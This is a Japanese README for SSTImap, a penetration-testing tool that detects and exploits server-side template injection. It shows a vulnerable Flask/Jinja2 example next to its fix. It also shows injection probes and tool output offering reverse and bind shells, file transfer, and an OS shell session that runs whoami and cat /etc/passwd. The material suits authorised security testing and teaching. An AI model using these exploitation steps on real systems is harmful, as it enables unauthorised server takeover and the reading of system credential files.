
対話型インターフェースを備えた自動SSTI検出ツール
このプロジェクトは Tplmap に基づいています。
SSTImap は、Webサイトのコードインジェクションおよびサーバーサイドテンプレートインジェクションの脆弱性を検査し、それを悪用してオペレーティングシステム自体へのアクセスを提供するペネトレーションテストソフトウェアです。
このツールは、SSTIの検出と悪用のための対話型ペネトレーションテストツールとして使用できるように開発されており、より高度な悪用が可能です。SSTImap 用の追加ペイロードは こちら にあります。
ペイロードと技術は以下の情報源から提供されています:
このツールは、いくつかのコードコンテキストエスケープやブラインドインジェクションシナリオを悪用できます。また、Java、JavaScript、PHP、Python、Ruby および一般的なサンドボックス化されていないテンプレートエンジンにおける eval() に類似したコードインジェクションもサポートしています。
このソフトウェアは Tplmap のコードに基づいていますが、後方互換性は提供されていません。
-i)--generic を使用Eval_generic モジュールを使用した汎用評価テンプレートインジェクションの検出-x) または単一コマンド (-X) の実行-h を確認してくださいこれは、Python で [Flask][6] フレームワークと [Jinja2][7] テンプレートエンジンを使用して書かれた単純な Web サイトの例です。ユーザーが指定した変数 name を、レンダリング前にテンプレート文字列に連結するという安全でない方法で統合しています。
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
このテンプレートの使用方法は XSS 脆弱性を生み出すだけでなく、攻撃者がサーバー上で実行されるテンプレートコードを注入することを可能にし、SSTI につながります。
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
ユーザーが指定した入力は、レンダリングコンテキストを通じて安全な方法で導入されるべきです:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
既定モードの SSTImap は Tplmap と非常に似ています。複数の異なるテンプレートにおける SSTI 脆弱性の検出と悪用が可能です。
悪用後、SSTImap はコード評価、OS コマンド実行、ファイルシステム操作へのアクセスを提供できます。
URL を確認するには、-u 引数を使用できます:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--os-shell オプションを使用して、ターゲット上で擬似ターミナルを起動します。
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
オプションの完全なリストを取得するには、--help 引数を使用します。
対話モードでは、コマンドを使用して SSTImap と対話します。対話モードに入るには、-i 引数を使用できます。悪用ペイロードに関する引数を除くすべての引数は、設定の初期値として使用されます。
一部のコマンドは、テスト実行間で設定を変更するために使用されます。テストを実行するには、ターゲット URL を初期 -u 引数または url コマンドで指定する必要があります。その後、run コマンドを使用して URL の SSTI を確認できます。